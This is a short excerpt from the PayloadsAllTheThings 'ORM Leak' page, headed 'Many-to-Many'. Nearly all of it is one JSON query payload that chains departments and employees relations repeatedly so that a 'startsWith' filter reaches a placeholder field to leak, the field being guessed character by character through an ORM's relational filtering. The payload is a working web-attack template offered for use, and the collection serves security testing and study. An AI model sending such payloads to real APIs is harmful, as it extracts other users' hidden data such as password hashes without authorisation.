Many-to-Many

{
  "query": {
    "createdBy": {
      "departments": {
        "some": {
          "employees": {
            "some": {
              "departments": {
                "some": {
                  "employees": {
                    "some": {
                      "departments": {
                        "some": {
                          "employees": {
                            "some": {
                              "{fieldToLeak}": {
                                "startsWith": "{testStartsWith}"
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

Source: ORM Leak/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.